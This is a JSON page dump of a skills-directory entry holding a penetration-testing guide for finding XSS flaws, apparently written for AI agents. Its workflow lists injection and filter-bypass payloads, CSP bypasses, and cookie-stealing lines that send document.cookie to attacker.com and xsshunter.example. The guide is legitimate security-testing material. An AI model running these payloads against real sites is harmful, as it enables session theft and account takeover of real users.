[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AGBT0WAJBFTXKXV6421P53":3,"skill-same:01M6AGBT0WAJBFTXKXV6421P53":109},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":68,"commitSha":69,"skillDirectory":70,"forksCount":71,"repositoryHtmlUrl":72,"repositoryHomepageUrl":73,"ownerHtmlUrl":74,"ownerBlogUrl":75,"ownerDescription":76,"updatedAt":77,"install":78,"resources":91},"01M6AGBT0WAJBFTXKXV6421P53","testing-for-xss-vulnerabilities",null,"Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35884,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xss-vulnerabilities\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"testing for xss vulnerabilities","vulnerabilities","xss","testing","Tools","JavaScript-injection","client-side-security","cross-site-scripting","applications","OWASP-A03","injection","t1059","t1078","impersonation","owasp","browser","web","javascript","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: testing-for-xss-vulnerabilities\ndescription: Tests web applications for reflected, stored, and DOM-based Cross-Site\n  Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active\n  Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session\n  hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or\n  when evaluating input sanitization and output encoding coverage.\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- XSS\n- cross-site-scripting\n- client-side-security\n- OWASP-A03\n- JavaScript-injection\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1055\n---\n# Testing for XSS Vulnerabilities\n\n## When to Use\n\n- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing\n- Evaluating the effectiveness of input sanitization and output encoding across all application features\n- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation\n- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders\n- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering\n\n**Do not use** against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.\n\n## Prerequisites\n\n- Authorized scope defining the target web application and acceptable testing activities\n- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)\n- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)\n- XSS Hunter or Burp Collaborator for out-of-band payload verification\n- SecLists XSS payload lists and custom payloads for WAF bypass scenarios\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Input and Output Mapping\n\nMap every location where user input enters and is rendered by the application:\n\n- **Reflected inputs**: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response\n- **Stored inputs**: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages\n- **DOM inputs**: Identify client-side JavaScript that reads from `location.hash`, `location.search`, `document.referrer`, `window.name`, `postMessage`, or `localStorage` and writes to the DOM\n- **Output context identification**: For each reflected input, determine the rendering context:\n  - HTML body: `\u003Cdiv>USER_INPUT\u003C\u002Fdiv>`\n  - HTML attribute: `\u003Cinput value=\"USER_INPUT\">`\n  - JavaScript string: `var x = 'USER_INPUT';`\n  - URL context: `\u003Ca href=\"USER_INPUT\">`\n  - CSS context: `\u003Cdiv style=\"color: USER_INPUT\">`\n\n### Step 2: Reflected XSS Testing\n\nTest reflected injection points with context-appropriate payloads:\n\n- **HTML body context**: `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`, `\u003Cimg src=x onerror=alert(1)>`, `\u003Csvg onload=alert(1)>`\n- **HTML attribute context**: `\" onfocus=alert(1) autofocus=\"`, `\" onmouseover=alert(1) \"`, `\">\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **JavaScript string context**: `';alert(1)\u002F\u002F`, `\\';alert(1)\u002F\u002F`, `\u003C\u002Fscript>\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **URL\u002Fhref context**: `javascript:alert(1)`, `data:text\u002Fhtml,\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **Inside HTML comments**: `-->\u003Cscript>alert(1)\u003C\u002Fscript>\u003C!--`\n- **Filter bypass payloads** (when basic payloads are blocked):\n  - Case variation: `\u003CScRiPt>alert(1)\u003C\u002FsCrIpT>`\n  - Event handlers: `\u003Cdetails open ontoggle=alert(1)>`\n  - SVG: `\u003Csvg>\u003Canimate onbegin=alert(1) attributeName=x>`\n  - Encoding: `\u003Cimg src=x onerror=alert(1)>`\n\n### Step 3: Stored XSS Testing\n\nTest persistent storage points that render input to other users:\n\n- Submit XSS payloads to every stored input field identified in Step 1\n- Use a unique identifier in each payload to track which inputs trigger: `\u003Cscript>alert('XSS-PROFILE-001')\u003C\u002Fscript>`\n- Check all locations where the stored input is rendered (the same input may appear on multiple pages)\n- Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads\n- Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes\n- Use XSS Hunter payloads (`\">\u003Cscript src=https:\u002F\u002Fyourxsshunter.xss.ht>\u003C\u002Fscript>`) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access\n\n### Step 4: DOM-Based XSS Testing\n\nAnalyze client-side JavaScript for unsafe DOM manipulation:\n\n- **Source identification**: Search JavaScript for dangerous sources that read attacker-controlled input:\n  - `document.location`, `document.URL`, `document.referrer`\n  - `location.hash`, `location.search`, `location.href`\n  - `window.name`, `postMessage` event data\n- **Sink identification**: Search for dangerous sinks that write to the DOM:\n  - `innerHTML`, `outerHTML`, `document.write()`, `document.writeln()`\n  - `eval()`, `setTimeout()`, `setInterval()`, `Function()`\n  - `element.setAttribute()` with event handlers, `jQuery.html()`, `.append()`, `v-html` (Vue), `dangerouslySetInnerHTML` (React)\n- **Trace data flow**: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.\n- **Framework-specific testing**: Test React `dangerouslySetInnerHTML`, Angular template injection (`{{constructor.constructor('alert(1)')()}}`), Vue `v-html` directive\n\n### Step 5: CSP Bypass and Advanced Exploitation\n\nTest Content Security Policy effectiveness and demonstrate real-world impact:\n\n- **CSP analysis**: Review the CSP header for weaknesses:\n  - `unsafe-inline` in script-src allows inline scripts\n  - `unsafe-eval` allows eval() and similar functions\n  - Wildcard domains (`*.googleapis.com`) may host JSONP endpoints usable for CSP bypass\n  - `base-uri` not set allows `\u003Cbase>` tag injection to redirect relative script loads\n- **JSONP bypass**: If CSP allows a domain with JSONP endpoints, use `\u003Cscript src=\"https:\u002F\u002Fallowed-domain.com\u002Fjsonp?callback=alert(1)\">\u003C\u002Fscript>`\n- **Impact demonstration**:\n  - Session hijacking: `\u003Cscript>new Image().src=\"https:\u002F\u002Fattacker.com\u002Fsteal?c=\"+document.cookie\u003C\u002Fscript>`\n  - Credential phishing: Inject a fake login form overlay that submits to the attacker's server\n  - Keylogging: Inject JavaScript that captures keystrokes on the page\n  - Account takeover: Use XSS to change the victim's email address and trigger a password reset\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Reflected XSS** | Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |\n| **Stored XSS** | Persistent XSS where the payload is saved on the server and served to other users who view the affected page |\n| **DOM-Based XSS** | XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |\n| **Content Security Policy** | HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |\n| **Output Encoding** | Converting special characters to their HTML entity equivalents (e.g., `\u003C` to `<`) to prevent the browser from interpreting user input as code |\n| **Sink** | A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing\n- **XSS Hunter**: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS\n- **DOMPurify**: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version\n- **Browser Developer Tools**: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time\n\n## Common Scenarios\n\n### Scenario: Stored XSS in Customer Support Ticket System\n\n**Context**: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.\n\n**Approach**:\n1. Submit a support ticket with a unique XSS Hunter payload in the ticket description\n2. The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot\n3. Use the captured admin session cookie to access the admin panel as the support agent\n4. From the admin panel, access customer records, order data, and refund functionality\n5. Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised\n6. Test if CSP would have prevented the attack (in this case, no CSP header was present)\n\n**Pitfalls**:\n- Only testing for `\u003Cscript>alert(1)\u003C\u002Fscript>` and missing XSS that fires through event handlers or in non-HTML contexts\n- Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)\n- Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable\n- Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards\n\n## Output Format\n\n```\n## Finding: Stored XSS in Support Ticket Description\n\n**ID**: XSS-002\n**Severity**: High (CVSS 8.1)\n**Affected URL**: POST \u002Fapi\u002Ftickets (submission), GET \u002Fadmin\u002Ftickets\u002F8847 (trigger)\n**Parameter**: description (POST body)\n**XSS Type**: Stored (persistent)\n\n**Description**:\nThe support ticket description field does not sanitize HTML input before storing\nit in the database. When a support agent views the ticket in the admin panel, the\nunsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript\nexecution in the context of the admin application.\n\n**Proof of Concept**:\nSubmitted ticket with payload:\n\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fxsshunter.example\u002Fcallback?c='+document.cookie)\">\n\nThe payload fired when the agent viewed the ticket, exfiltrating the admin session\ncookie to the XSS Hunter server.\n\n**Impact**:\nAn attacker can steal the session tokens of support agents and administrators,\ngaining access to the admin panel with privileges to view customer PII, process\nrefunds, and modify orders. Affects all 23 support agents who view customer tickets.\n\n**Remediation**:\n1. Implement output encoding using a context-aware library (OWASP Java Encoder,\n   DOMPurify for client-side rendering)\n2. Deploy Content Security Policy header:\n   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'\n3. Set HttpOnly flag on session cookies to prevent JavaScript access\n4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)\n```\n","# Testing for XSS Vulnerabilities\n\n## When to Use\n\n- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing\n- Evaluating the effectiveness of input sanitization and output encoding across all application features\n- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation\n- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders\n- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering\n\n**Do not use** against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.\n\n## Prerequisites\n\n- Authorized scope defining the target web application and acceptable testing activities\n- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)\n- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)\n- XSS Hunter or Burp Collaborator for out-of-band payload verification\n- SecLists XSS payload lists and custom payloads for WAF bypass scenarios\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Input and Output Mapping\n\nMap every location where user input enters and is rendered by the application:\n\n- **Reflected inputs**: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response\n- **Stored inputs**: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages\n- **DOM inputs**: Identify client-side JavaScript that reads from `location.hash`, `location.search`, `document.referrer`, `window.name`, `postMessage`, or `localStorage` and writes to the DOM\n- **Output context identification**: For each reflected input, determine the rendering context:\n  - HTML body: `\u003Cdiv>USER_INPUT\u003C\u002Fdiv>`\n  - HTML attribute: `\u003Cinput value=\"USER_INPUT\">`\n  - JavaScript string: `var x = 'USER_INPUT';`\n  - URL context: `\u003Ca href=\"USER_INPUT\">`\n  - CSS context: `\u003Cdiv style=\"color: USER_INPUT\">`\n\n### Step 2: Reflected XSS Testing\n\nTest reflected injection points with context-appropriate payloads:\n\n- **HTML body context**: `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`, `\u003Cimg src=x onerror=alert(1)>`, `\u003Csvg onload=alert(1)>`\n- **HTML attribute context**: `\" onfocus=alert(1) autofocus=\"`, `\" onmouseover=alert(1) \"`, `\">\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **JavaScript string context**: `';alert(1)\u002F\u002F`, `\\';alert(1)\u002F\u002F`, `\u003C\u002Fscript>\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **URL\u002Fhref context**: `javascript:alert(1)`, `data:text\u002Fhtml,\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **Inside HTML comments**: `-->\u003Cscript>alert(1)\u003C\u002Fscript>\u003C!--`\n- **Filter bypass payloads** (when basic payloads are blocked):\n  - Case variation: `\u003CScRiPt>alert(1)\u003C\u002FsCrIpT>`\n  - Event handlers: `\u003Cdetails open ontoggle=alert(1)>`\n  - SVG: `\u003Csvg>\u003Canimate onbegin=alert(1) attributeName=x>`\n  - Encoding: `\u003Cimg src=x onerror=alert(1)>`\n\n### Step 3: Stored XSS Testing\n\nTest persistent storage points that render input to other users:\n\n- Submit XSS payloads to every stored input field identified in Step 1\n- Use a unique identifier in each payload to track which inputs trigger: `\u003Cscript>alert('XSS-PROFILE-001')\u003C\u002Fscript>`\n- Check all locations where the stored input is rendered (the same input may appear on multiple pages)\n- Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads\n- Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes\n- Use XSS Hunter payloads (`\">\u003Cscript src=https:\u002F\u002Fyourxsshunter.xss.ht>\u003C\u002Fscript>`) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access\n\n### Step 4: DOM-Based XSS Testing\n\nAnalyze client-side JavaScript for unsafe DOM manipulation:\n\n- **Source identification**: Search JavaScript for dangerous sources that read attacker-controlled input:\n  - `document.location`, `document.URL`, `document.referrer`\n  - `location.hash`, `location.search`, `location.href`\n  - `window.name`, `postMessage` event data\n- **Sink identification**: Search for dangerous sinks that write to the DOM:\n  - `innerHTML`, `outerHTML`, `document.write()`, `document.writeln()`\n  - `eval()`, `setTimeout()`, `setInterval()`, `Function()`\n  - `element.setAttribute()` with event handlers, `jQuery.html()`, `.append()`, `v-html` (Vue), `dangerouslySetInnerHTML` (React)\n- **Trace data flow**: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.\n- **Framework-specific testing**: Test React `dangerouslySetInnerHTML`, Angular template injection (`{{constructor.constructor('alert(1)')()}}`), Vue `v-html` directive\n\n### Step 5: CSP Bypass and Advanced Exploitation\n\nTest Content Security Policy effectiveness and demonstrate real-world impact:\n\n- **CSP analysis**: Review the CSP header for weaknesses:\n  - `unsafe-inline` in script-src allows inline scripts\n  - `unsafe-eval` allows eval() and similar functions\n  - Wildcard domains (`*.googleapis.com`) may host JSONP endpoints usable for CSP bypass\n  - `base-uri` not set allows `\u003Cbase>` tag injection to redirect relative script loads\n- **JSONP bypass**: If CSP allows a domain with JSONP endpoints, use `\u003Cscript src=\"https:\u002F\u002Fallowed-domain.com\u002Fjsonp?callback=alert(1)\">\u003C\u002Fscript>`\n- **Impact demonstration**:\n  - Session hijacking: `\u003Cscript>new Image().src=\"https:\u002F\u002Fattacker.com\u002Fsteal?c=\"+document.cookie\u003C\u002Fscript>`\n  - Credential phishing: Inject a fake login form overlay that submits to the attacker's server\n  - Keylogging: Inject JavaScript that captures keystrokes on the page\n  - Account takeover: Use XSS to change the victim's email address and trigger a password reset\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Reflected XSS** | Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |\n| **Stored XSS** | Persistent XSS where the payload is saved on the server and served to other users who view the affected page |\n| **DOM-Based XSS** | XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |\n| **Content Security Policy** | HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |\n| **Output Encoding** | Converting special characters to their HTML entity equivalents (e.g., `\u003C` to `<`) to prevent the browser from interpreting user input as code |\n| **Sink** | A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing\n- **XSS Hunter**: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS\n- **DOMPurify**: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version\n- **Browser Developer Tools**: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time\n\n## Common Scenarios\n\n### Scenario: Stored XSS in Customer Support Ticket System\n\n**Context**: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.\n\n**Approach**:\n1. Submit a support ticket with a unique XSS Hunter payload in the ticket description\n2. The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot\n3. Use the captured admin session cookie to access the admin panel as the support agent\n4. From the admin panel, access customer records, order data, and refund functionality\n5. Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised\n6. Test if CSP would have prevented the attack (in this case, no CSP header was present)\n\n**Pitfalls**:\n- Only testing for `\u003Cscript>alert(1)\u003C\u002Fscript>` and missing XSS that fires through event handlers or in non-HTML contexts\n- Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)\n- Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable\n- Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards\n\n## Output Format\n\n```\n## Finding: Stored XSS in Support Ticket Description\n\n**ID**: XSS-002\n**Severity**: High (CVSS 8.1)\n**Affected URL**: POST \u002Fapi\u002Ftickets (submission), GET \u002Fadmin\u002Ftickets\u002F8847 (trigger)\n**Parameter**: description (POST body)\n**XSS Type**: Stored (persistent)\n\n**Description**:\nThe support ticket description field does not sanitize HTML input before storing\nit in the database. When a support agent views the ticket in the admin panel, the\nunsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript\nexecution in the context of the admin application.\n\n**Proof of Concept**:\nSubmitted ticket with payload:\n\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fxsshunter.example\u002Fcallback?c='+document.cookie)\">\n\nThe payload fired when the agent viewed the ticket, exfiltrating the admin session\ncookie to the XSS Hunter server.\n\n**Impact**:\nAn attacker can steal the session tokens of support agents and administrators,\ngaining access to the admin panel with privileges to view customer PII, process\nrefunds, and modify orders. Affects all 23 support agents who view customer tickets.\n\n**Remediation**:\n1. Implement output encoding using a context-aware library (OWASP Java Encoder,\n   DOMPurify for client-side rendering)\n2. Deploy Content Security Policy header:\n   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'\n3. Set HttpOnly flag on session cookies to prevent JavaScript access\n4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)\n```\n",{"name":5,"tags":52,"author":54,"domain":45,"license":15,"version":55,"nist_csf":56,"subdomain":61,"description":7,"mitre_attack":62},[53,34,33,36,32],"XSS","mahipal","1.0.0",[57,58,59,60],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing",[63,64,65,66,67],"T1595","T1190","T1059","T1078","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-for-xss-vulnerabilities",4379,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":79,"prompt":89,"zipAvailable":90},[80,83,86],{"tool":81,"command":82},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-xss-vulnerabilities",{"tool":84,"command":85},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-xss-vulnerabilities",{"tool":87,"command":88},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-xss-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xss-vulnerabilities\u002FSKILL.md",true,[92,97,103],{"path":93,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xss-vulnerabilities\u002FLICENSE",{"path":98,"resourceType":99,"resourceTypeDesc":100,"sizeBytes":101,"sourceHtmlUrl":102},"references\u002Fapi-reference.md","REFERENCE","参考文档",1999,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xss-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":104,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":107,"sourceHtmlUrl":108},"scripts\u002Fagent.py","SCRIPT","脚本",8640,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xss-vulnerabilities\u002Fscripts\u002Fagent.py",[110,136,159,183,208,234],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":117,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[116],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[118,119,120,121,46,45,122,123,124,125,126,127,128,129,130,131,132,133,134,135],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":137,"name":138,"nameZh":6,"description":139,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":140,"categories":141,"keywords":143,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[142],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[144,132,145,146,46,147,45,124,148,149,150,31,151,152,153,154,155,156,157,158],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":160,"name":161,"nameZh":6,"description":162,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":163,"categories":164,"keywords":167,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[165,166],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[153,168,169,170,30,45,171,172,148,173,174,175,176,177,178,39,179,180,181,182],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":184,"name":185,"nameZh":6,"description":186,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":187,"categories":188,"keywords":190,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[189],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[191,192,193,45,194,42,195,196,197,198,199,200,201,202,203,204,31,205,206,207],"windows","kape","triaging windows with kape","registry","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":209,"name":210,"nameZh":6,"description":211,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":212,"categories":213,"keywords":215,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and 